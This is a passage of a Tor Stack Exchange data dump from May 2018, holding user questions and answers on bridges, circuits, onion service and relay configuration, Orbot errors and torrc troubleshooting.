LastActivityDate="2018-05-17T18:35:20.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17172" PostTypeId="1" CreationDate="2018-05-17T22:16:10.237" Score="0" ViewCount="263" Body="&lt;p&gt;I read that using bridges lets you access websites that (soft)block Tor (e.g. Google) and it really does, but the bridge is the first node in your circuit so why don't website block based on the exit node, and how can they see my first node?&lt;/p&gt;&#xA;" OwnerUserId="21712" LastActivityDate="2018-05-18T14:21:20.790" Title="Why do bridges hide that I am using Tor?" Tags="|bridge|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17173" PostTypeId="1" CreationDate="2018-05-18T07:41:38.127" Score="0" ViewCount="249" Body="&lt;p&gt;How is it possible that tor is using 4 nodes instead of three?  Has tor been modified or is my security under threat&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="15358" LastEditDate="2018-05-28T10:38:07.003" LastActivityDate="2021-10-19T06:02:10.187" Title="How is it possible that tor is using 4 nodes instead of three? Is my secur" Tags="|node|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17174" PostTypeId="1" CreationDate="2018-05-18T08:11:26.773" Score="1" ViewCount="650" Body="&lt;p&gt;I am trying to setup onion hidden service and i am using xampp default apache web server.&#xA;I setup everything correctly and got my hostname and private key but the main problem i am getting is that i am unable to reach my web server localhost in tor browser while in chrome or firefox if i type localhost or 127.0.0.1 it show me my index file in htdocs of xampp folder.&#xA;So how i can open my localhost in my tor browser and how my hostname can serve it.&lt;/p&gt;&#xA;" OwnerUserId="22046" LastEditorUserId="22046" LastEditDate="2018-05-18T08:16:44.227" LastActivityDate="2018-05-18T08:16:44.227" Title="Unable to connect to localhost or 127.0.0.1" Tags="|configuration|onion-services|onion-routing|browsers|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17176" PostTypeId="2" ParentId="17172" CreationDate="2018-05-18T14:21:20.790" Score="1" Body="&lt;p&gt;Bridges don't hide the fact that you are using Tor from the website you are visiting. Full stop. End of story. That's not how things work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you started using a bridge and suddenly the site seemed to stop blocking you, that's a coincidence.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-18T14:21:20.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17179" PostTypeId="2" ParentId="17092" CreationDate="2018-05-18T16:57:47.970" Score="0" Body="&lt;p&gt;You can use Tor to access your router. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tor go to Options &gt; Advanced &gt; Network &gt; Settings, at &quot;No proxy for:&quot; you should add the local address of your router. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor proxy will just ignore your router address, and you will connect direct to it only.&lt;/p&gt;&#xA;" OwnerUserId="22055" LastActivityDate="2018-05-18T16:57:47.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17182" PostTypeId="2" ParentId="17066" CreationDate="2018-05-19T11:37:12.393" Score="2" Body="&lt;p&gt;This apparently comes down to browser fingerprinting. How it's possible to track one uniquely via browser extensions, I don't know the details. &lt;/p&gt;&#xA;" OwnerUserId="22059" LastActivityDate="2018-05-19T11:37:12.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17184" PostTypeId="1" CreationDate="2018-05-20T06:43:29.010" Score="1" ViewCount="403" Body="&lt;p&gt;How do you install Tor to run as a middle relay on windows? And how do you make it start automaticly as a service?&lt;/p&gt;&#xA;" OwnerUserId="21788" LastEditorUserId="21788" LastEditDate="2018-05-20T07:02:34.287" LastActivityDate="2018-05-20T07:10:35.767" Title="How to install a Tor relay on windows as a service?" Tags="|configuration|relays|tor-install|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17186" PostTypeId="1" CreationDate="2018-05-20T12:24:18.083" Score="0" ViewCount="2234" Body="&lt;p&gt;I want to create a tor proxy on a virtual machine (Linode).&#xA;But I'm missing some elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I buy a proxy service I can send requests to socks5 proxy with user:password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ideally I want to do the same, on the client side:&#xA;curl -x socks5://user:password@IP@PORT END_URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of questions:&#xA;1. Since I'm sending user:password, is it possible to encrypt the data?&#xA;2. How to add the user:password limitation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried and got some of the features working with HAProxy/Dante Server/Proxychains but nothing that worked properly from start to end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion will be greatly appreciated.&#xA;I'll be happy to create and publish a Docker build with (I presume needed) this setup once done.&lt;/p&gt;&#xA;" OwnerUserId="22068" LastActivityDate="2022-03-29T00:02:55.293" Title="How to create a tor proxy?" Tags="|proxy|socks|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17189" PostTypeId="1" CreationDate="2018-05-21T02:17:14.977" Score="0" ViewCount="183" Body="&lt;p&gt;Type in www.yahoo.com and it opens in french instead of English as other urls do. How do I make yahoo.com open in English?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JD&lt;/p&gt;&#xA;" OwnerUserId="22078" LastActivityDate="2018-05-21T19:18:37.660" Title="Tor browser opens a certian url in French" Tags="|settings|" AnswerCount="1" CommentCount="2" ClosedDate="2019-02-21T22:51:37.810" ContentLicense="CC BY-SA 4.0" />
  <row Id="17191" PostTypeId="1" CreationDate="2018-05-21T13:46:18.820" Score="0" ViewCount="344" Body="&lt;p&gt;I know that Tor needs 3 nodes to work, but is there a way to control my node number, mean to add more nodes or subtract nodes.&lt;/p&gt;&#xA;" OwnerUserId="21173" LastActivityDate="2021-12-18T17:07:50.807" Title="How to control my Tor-Nodes" Tags="|tor-browser-bundle|guard-node|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17194" PostTypeId="2" ParentId="17189" CreationDate="2018-05-21T19:18:37.660" Score="1" Body="&lt;p&gt;Click in the little onion in the left of the nav, you'll see &quot;Tor Circuit for this site&quot;, the last country, in your case, France, is the country  that &quot;you are&quot;, I mean, your IP, for this you see yahoo.fr&#xA;In yahoo page, in the right upper corner, you can see a flag, click there and change the country.&lt;/p&gt;&#xA;" OwnerUserId="22007" LastActivityDate="2018-05-21T19:18:37.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17195" PostTypeId="1" CreationDate="2018-05-21T19:22:29.087" Score="1" ViewCount="2812" Body="&lt;p&gt;I still can't figure why i can't connect to the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the log output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking binary version: 0.3.3.5-openssl1.0.2o&#xA;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;success.&#xA;Waiting for control port...&#xA;Set background service to FOREGROUND&#xA;Orbot is starting…&#xA;Orbot is starting…&#xA;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;success.&#xA;Orbot is starting…&#xA;Tor was unable to start: Error: 1 ERR= OUT=May 22 02:14:48.685 [notice] Tor 0.3.3.5-rc (git-81d71f0d41adf0d8) running on Linux with Libevent 2.0.22-stable, OpenSSL 1.0.2o, Zlib 1.2.7.f-linuxfoundation-mods-v1, Liblzma 5.2.3, and Libzstd N/A.&#xA;May 22 02:14:48.687 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;May 22 02:14:48.687 [notice] Read configuration file &quot;/data/data/org.torproject.android/app_bin/torrc&quot;.&#xA;May 22 02:14:48.687 [notice] Read configuration file &quot;/data/data/org.torproject.android/app_bin/torrc.custom&quot;.&#xA;May 22 02:14:48.698 [warn] Skipping obsolete configuration option 'WarnUnsafeSocks'&#xA;May 22 02:14:48.698 [warn] Skipping obsolete configuration option 'DNSListenAddress'&#xA;May 22 02:14:48.702 [notice] Scheduler type KISTLite has been enabled.&#xA;May 22 02:14:48.702 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;May 22 02:14:48.703 [notice] Opening DNS listener on 127.0.0.1:5400&#xA;May 22 02:14:48.703 [notice] Opening Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;May 22 02:14:48.703 [notice] Opening HTTP tunnel listener on 127.0.0.1:8118&#xA;May 22 02:14:48.703 [warn] Could not bind to 127.0.0.1:8118: Address already in use. Is Tor already running?&#xA;May 22 02:14:48.703 [notice] Opening Control listener on 127.0.0.1:0&#xA;May 22 02:14:48.703 [notice] Control listener listening on port 43045.&#xA;May 22 02:14:48.703 [notice] Closing partially-constructed Socks listener on 127.0.0.1:9050&#xA;May 22 02:14:48.704 [notice] Closing partially-constructed DNS listener on 127.0.0.1:5400&#xA;May 22 02:14:48.704 [notice] Closing partially-constructed Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;May 22 02:14:48.704 [notice] Closing partially-constructed Control listener on 127.0.0.1:43045&#xA;May 22 02:14:48.704 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;May 22 02:14:48.704 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22090" LastEditorUserId="112" LastEditDate="2018-08-14T18:08:54.250" LastActivityDate="2022-01-07T18:01:15.117" Title="Help me with my Orbot's issue" Tags="|orbot|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17196" PostTypeId="1" CreationDate="2018-05-22T14:48:20.777" Score="0" ViewCount="255" Body="&lt;p&gt;I want to use Specific ExitNodes and Switch between them only. I have tried modify TORRC using Code&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ExitNodes 153.126.210.34, 88.33.1.152, 103.28.53.138 , 104.200.20.46&lt;/p&gt;&#xA;&lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But When I try to switch the ExitNodes Using CTRL+SHIFT+L it refreshes with the Same ExitNode. I want it to switch between the ExitNodes that i have Given.&lt;/p&gt;&#xA;&lt;p&gt;Is there anyway to do What I'm Trying to do.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22097" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2021-12-18T21:07:40.713" Title="Can I switch Circuit between Specific ExitNodes?" Tags="|configuration|windows|help|ip-address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17197" PostTypeId="2" ParentId="17173" CreationDate="2018-05-22T14:54:35.417" Score="1" Body="&lt;p&gt;In some cases, Tor will make 4-hop circuits because extending a circuit 1 more hop is cheaper than building an entirely new one.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-22T14:54:35.417" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17198" PostTypeId="1" CreationDate="2018-05-22T23:05:40.903" Score="0" ViewCount="257" Body="&lt;p&gt;I'm not a Perl coder and hoped Tor users (more familiar with proper tor application and usage) could weigh in on the implementation and overall usage of such a tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone recommend against using Nipe?&lt;/p&gt;&#xA;" OwnerUserId="22100" LastActivityDate="2022-04-13T08:03:15.290" Title="Is it safe to use Nipe with a Raspberry Pi?" Tags="|configuration|anonymity|security|ip-address-leak|proxy-leaks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17199" PostTypeId="1" CreationDate="2018-05-23T06:37:22.743" Score="0" ViewCount="379" Body="&lt;p&gt;I'm trying to use Tails v3.7 via virtual machine.&#xA;I've already tried VirtualBox, and VMware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And everything is OK, but..... when I've visited website &lt;a href=&quot;https://2ip.ru&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2ip.ru&lt;/a&gt; to check my IP-address, I've noticed that my OS is not some version of Linux (Debian, Ubuntu, Tails, etc.) but Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the settings of choosing the type of OS, I choose Linux, and already tried almost everything: Ubuntu, Debian, x32, x64, Other OS x64, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not an expert of Tails at all. But how is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does this fingerprint come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, Windows 7 is my OS, from where I'm launching VM with Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I don't understand how Tails does not replace this &quot;windows&quot; fingerprint with some Linux fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can fix this OS leak?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that there are some &quot;User Agent Switcher&quot;s extensions can be downloaded for Tor-Browser. And it seems like they do their work. But is it 100% safe? Can I trust them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or, first of all, how can I prevent my &quot;Windows 7&quot; OS fingerprint from &quot;leaking&quot; ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="22101" LastActivityDate="2018-05-23T13:19:38.977" Title="Tails v3.7 using VM = user agent Windows 7?" Tags="|tor-browser-bundle|tails|windows|linux|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17200" PostTypeId="1" CreationDate="2018-05-23T07:04:55.257" Score="0" ViewCount="179" Body="&lt;p&gt;Are the Bandwidth authorities and the Directory Authorities the same servers? do the same people run both? or am i posing the wrong question, is reporting on bandwidth a job that the Directory authorities perform? &lt;/p&gt;&#xA;" OwnerUserId="22102" LastActivityDate="2022-04-02T22:04:55.660" Title="Are the Bandwidth authorities and the Directory Authorities the same servers?" Tags="|directory|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17202" PostTypeId="2" ParentId="17198" CreationDate="2018-05-23T13:17:14.537" Score="0" Body="&lt;p&gt;If you're talking about this &lt;a href=&quot;https://github.com/GouveaHeitor/nipe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GouveaHeitor/nipe&lt;/a&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparently proxying all your traffic over Tor is essentially always worse than using Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-23T13:17:14.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17203" PostTypeId="2" ParentId="17199" CreationDate="2018-05-23T13:19:38.977" Score="1" Body="&lt;p&gt;All Tor Browser users have the same User Agent. That user agents claims that you are using Windows even if you are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You aren't leaking anything.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-23T13:19:38.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17204" PostTypeId="2" ParentId="17200" CreationDate="2018-05-23T13:23:20.787" Score="0" Body="&lt;p&gt;A bandwidth authority is just a directory authority that also measures relays and votes about their speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that performs the measurements is usually run by the same person as the actual tor process that is a directory authority, but it doesn't have to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The measurements do not have to be performed on the same machine as the tor process that is a directory authority.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-23T13:23:20.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17206" PostTypeId="2" ParentId="15310" CreationDate="2018-05-24T06:20:22.633" Score="1" Body="&lt;p&gt;I know this is sort of old, but I stumbled across this questions as I was trying to solve it myself. What I ended up finding is that, assuming you already installed &lt;em&gt;tor&lt;/em&gt; and &lt;em&gt;torify&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -sfv /usr/local/opt/tor/*.plist ~/Library/LaunchAgents&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should see an output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/username/Library/LaunchAgents/homebrew.mxcl.tor.plist -&amp;gt; /usr/local/opt/tor/homebrew.mxcl.tor.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you gotta load tor. But to be sure this is really working I tried first to check my IP with torify (it shouldn't work because tor is not yet loaded).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify curl icanhazip.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1527142309 PERROR torsocks[32367]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:202)&#xA;curl: (6) Could not resolve host: icanhazip.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load tor and try again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launchctl load ~/Library/LaunchAgents/homebrew.mxcl.tor.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the output of torify should be your IP through tor's network. You can also make sure tor is running by checking if the process is up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps axu | grep &quot;/bin/tor&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find a complete guide &lt;a href=&quot;https://github.com/b4rton/osx-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; if you want. Where you will also learn to configure &lt;em&gt;torrc&lt;/em&gt; file to keep logs of the service.&lt;/p&gt;&#xA;" OwnerUserId="22109" LastActivityDate="2018-05-24T06:20:22.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17208" PostTypeId="1" CreationDate="2018-05-24T23:27:44.977" Score="0" ViewCount="355" Body="&lt;p&gt;I have a torrc file with multiple hidden service entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/host1&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 80 10.152.152.12:80&#xA;HiddenServicePort 22 10.152.152.12:22&#xA;&#xA;HiddenServiceDir /var/lib/tor/host2&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 80 10.152.152.12:81&#xA;&#xA;HiddenServiceDir /var/lib/tor/host3&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 80 10.152.152.12:82&#xA;&#xA;HiddenServiceDir /var/lib/tor/host4&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 80 10.152.152.12:83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However tor complains with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01:55:46 [ARM_NOTICE] Unneeded torrc entries found. They’ve been highlighted in blue on the torrc page.&#xA;&#xA;    entries ignored due to having duplicates: HiddenServiceDir (line 15), HiddenServiceDir (line 20), HiddenServiceDir (line 24), HiddenServicePort (line 17), HiddenServicePort (line 18), HiddenService-&#xA;    Port (line 22), HiddenServicePort (line 26), HiddenServiceVersion (line 16), HiddenServiceVersion (line 21), HiddenServiceVersion (line 25)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lines mentioned are highlighted in the blue color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen other questions [1],[2],[3] where people have similar configurations. Is this supported by tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] - &lt;a href=&quot;https://tor.stackexchange.com/questions/8995/running-multiple-hidden-services-in-nginx&quot;&gt;Running multiple hidden services in nginx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] - &lt;a href=&quot;https://tor.stackexchange.com/questions/3586/how-can-i-run-multiple-hidden-services-with-lighttpd&quot;&gt;How can I run multiple hidden services with lighttpd?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[3] - &lt;a href=&quot;https://tor.stackexchange.com/questions/12324/how-do-i-host-multiple-hidden-services-multiple-addresses&quot;&gt;How do I host multiple hidden services? (Multiple addresses)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22121" LastActivityDate="2018-09-02T13:01:12.433" Title="Multiple *.onion addresses &quot;Unneeded torrc entries found.&quot; error" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17209" PostTypeId="1" CreationDate="2018-05-25T00:04:06.093" Score="0" ViewCount="214" Body="&lt;p&gt;I came across the garlic routing section (8.1.1) in Roger's Master's thesis: &lt;a href=&quot;https://dspace.mit.edu/bitstream/handle/1721.1/86475/46861930-MIT.pdf?sequence=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dspace.mit.edu/bitstream/handle/1721.1/86475/46861930-MIT.pdf?sequence=2&lt;/a&gt;. I am not sure whether current Tor version is using garlic routing or just onion routing? Please correct me if I say anything wrong.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2018-06-17T15:55:40.737" Title="Does Tor use Garlic Routing?" Tags="|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17210" PostTypeId="2" ParentId="17209" CreationDate="2018-05-25T00:42:03.340" Score="1" Body="&lt;p&gt;No, Tor does not use garlic routing as defined here.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-25T00:42:03.340" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17214" PostTypeId="2" ParentId="16714" CreationDate="2018-05-26T00:25:39.343" Score="1" Body="&lt;p&gt;Pretty sure its a knows issue. I had same problem and through googling i found you can set its process priority to below normal and its affinity to only use one core in task manager - details - right click on tor.exe. That way when it maxes out, its not top priority over other things, and it can only max out one core. Dosent seem to effect the relays performance at all.&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-05-26T00:25:39.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17215" PostTypeId="2" ParentId="13857" CreationDate="2018-05-26T06:55:38.500" Score="1" Body="&lt;p&gt;replace your tor installation file (.exe file) to some where else not in downloads (or) driver C (Local Disk C) it helped me&lt;/p&gt;&#xA;" OwnerUserId="22130" LastActivityDate="2018-05-26T06:55:38.500" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17218" PostTypeId="1" CreationDate="2018-05-27T05:30:43.007" Score="0" ViewCount="167" Body="&lt;p&gt;While starting my Tor relay I get the following messages: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arm tells me how many relays, bridges etc it has found by percentage. Then it says: 70 duplicates hidden. This can't be good. What causes the duplication? how do I show these duplicates? AND more importantly stop them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS - Raspbian/Pi 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay is currently running and is posted on Metrics (formerly Atlas)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still new at relay building and trying to learn! Thanks for any help&#xA;you can give! :-)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Adriann&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="20628" LastEditDate="2018-06-16T22:17:38.490" LastActivityDate="2021-12-28T20:00:35.050" Title="Arm Error : [70 Duplicates Hidden]" Tags="|error|nyx|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17219" PostTypeId="1" CreationDate="2018-05-28T12:06:46.257" Score="0" ViewCount="354" Body="&lt;p&gt;I'm trying to run different instances of tor simultaneously. One without exit node set and one with set exit note. To do so, I have to change the port and change the DataDirectory as well (Correct?). But running &lt;code&gt;tor -f /etc/tor/torrcGB&lt;/code&gt; cause this log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 28 16:15:16.473 [notice] Tor 0.3.3.6 (git-7dd0813e783ae16e) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.0h, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd N/A.&#xA;May 28 16:15:16.473 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;May 28 16:15:16.473 [notice] Read configuration file &quot;/etc/tor/torrcGB&quot;.&#xA;May 28 16:15:16.475 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&#xA;May 28 16:15:16.475 [notice] Scheduler type KIST has been enabled.&#xA;May 28 16:15:16.475 [notice] Opening Socks listener on 127.0.0.1:9060&#xA;May 28 16:15:16.475 [notice] Opening Control listener on 127.0.0.1:9061&#xA;May 28 16:15:16.475 [warn] Error creating directory /var/lib/torGB: Permission denied&#xA;May 28 16:15:16.475 [warn] Failed to parse/validate config: Couldn't create private data directory &quot;/var/lib/torGB&quot;&#xA;May 28 16:15:16.475 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is my &lt;code&gt;/etc/tor/torrcGB&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice syslog&#xA;&#xA;# To be able have different tor&#xA;SocksPort 9060&#xA;ControlPort 9061&#xA;DataDirectory /var/lib/torGB&#xA;&#xA;# Set for GB exit node&#xA;ExitNodes {uk},{gb},{io},{vg}&#xA;StrictNodes 1&#xA;&#xA;UseBridges 1&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy managed&#xA;&#xA;&#xA;bridge obfs4 35.162.230.20:9443 CA8D14F8C289B13AD9D1D22262744EBE4761DD15 cert=H39+NPm6vxyimJFDbbhuhq8AFaGZ2Uw1OOMPAX1QiR5+M5YvLgcRdEOpyfDIwqiLX1KdRw iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried creating &lt;code&gt;/var/lib/torGB/&lt;/code&gt; directory myself, set the owner to &lt;code&gt;tor&lt;/code&gt; and even copy the &lt;code&gt;/var/lib/tor/&lt;/code&gt; and rename it (and change the owner)...all these efforts didn't work. &lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="855" LastEditDate="2018-05-28T12:11:58.903" LastActivityDate="2022-04-09T15:01:50.163" Title="can't run different instance of tor on separate DataDirecotry due to permission error" Tags="|configuration|exit-relays|linux|error|directory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17220" PostTypeId="1" AcceptedAnswerId="17226" CreationDate="2018-05-29T16:30:09.873" Score="2" ViewCount="205" Body="&lt;p&gt;&lt;a href=&quot;https://medium.com/@tzhenghao/how-to-ssh-over-tor-onion-service-c6d06194147&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/@tzhenghao/how-to-ssh-over-tor-onion-service-c6d06194147&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I follow this tutorial, but I want that my ssh service only works in onion network &lt;/p&gt;&#xA;" OwnerDisplayName="user22154" LastActivityDate="2018-05-30T22:49:41.910" Title="SSH only for onion network" Tags="|onion-services|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17222" PostTypeId="2" ParentId="17219" CreationDate="2018-05-29T20:51:27.347" Score="0" Body="&lt;p&gt;There are two possibilities I know of which may cause this problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor is running as non-root user and permissions on /var/lib do not allow that user to create directory. As you tried to fix it by hand this is probably not that case.&lt;/li&gt;&#xA;&lt;li&gt;You have selinux (or similar technology) enabled and it gets in a way. Try to disable it (setenforce 0) and see if this helps. If so - you may need to manually adjust selinux context on the files and directories to let tor to run or just disable it altogether (not recommended).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2018-05-29T20:51:27.347" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17226" PostTypeId="2" ParentId="17220" CreationDate="2018-05-30T22:49:41.910" Score="4" Body="&lt;p&gt;To achieve this, just change your SSH configuration so it only binds to 127.0.0.1 instead of 0.0.0.0, so it can only be accessed by local processes.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-05-30T22:49:41.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
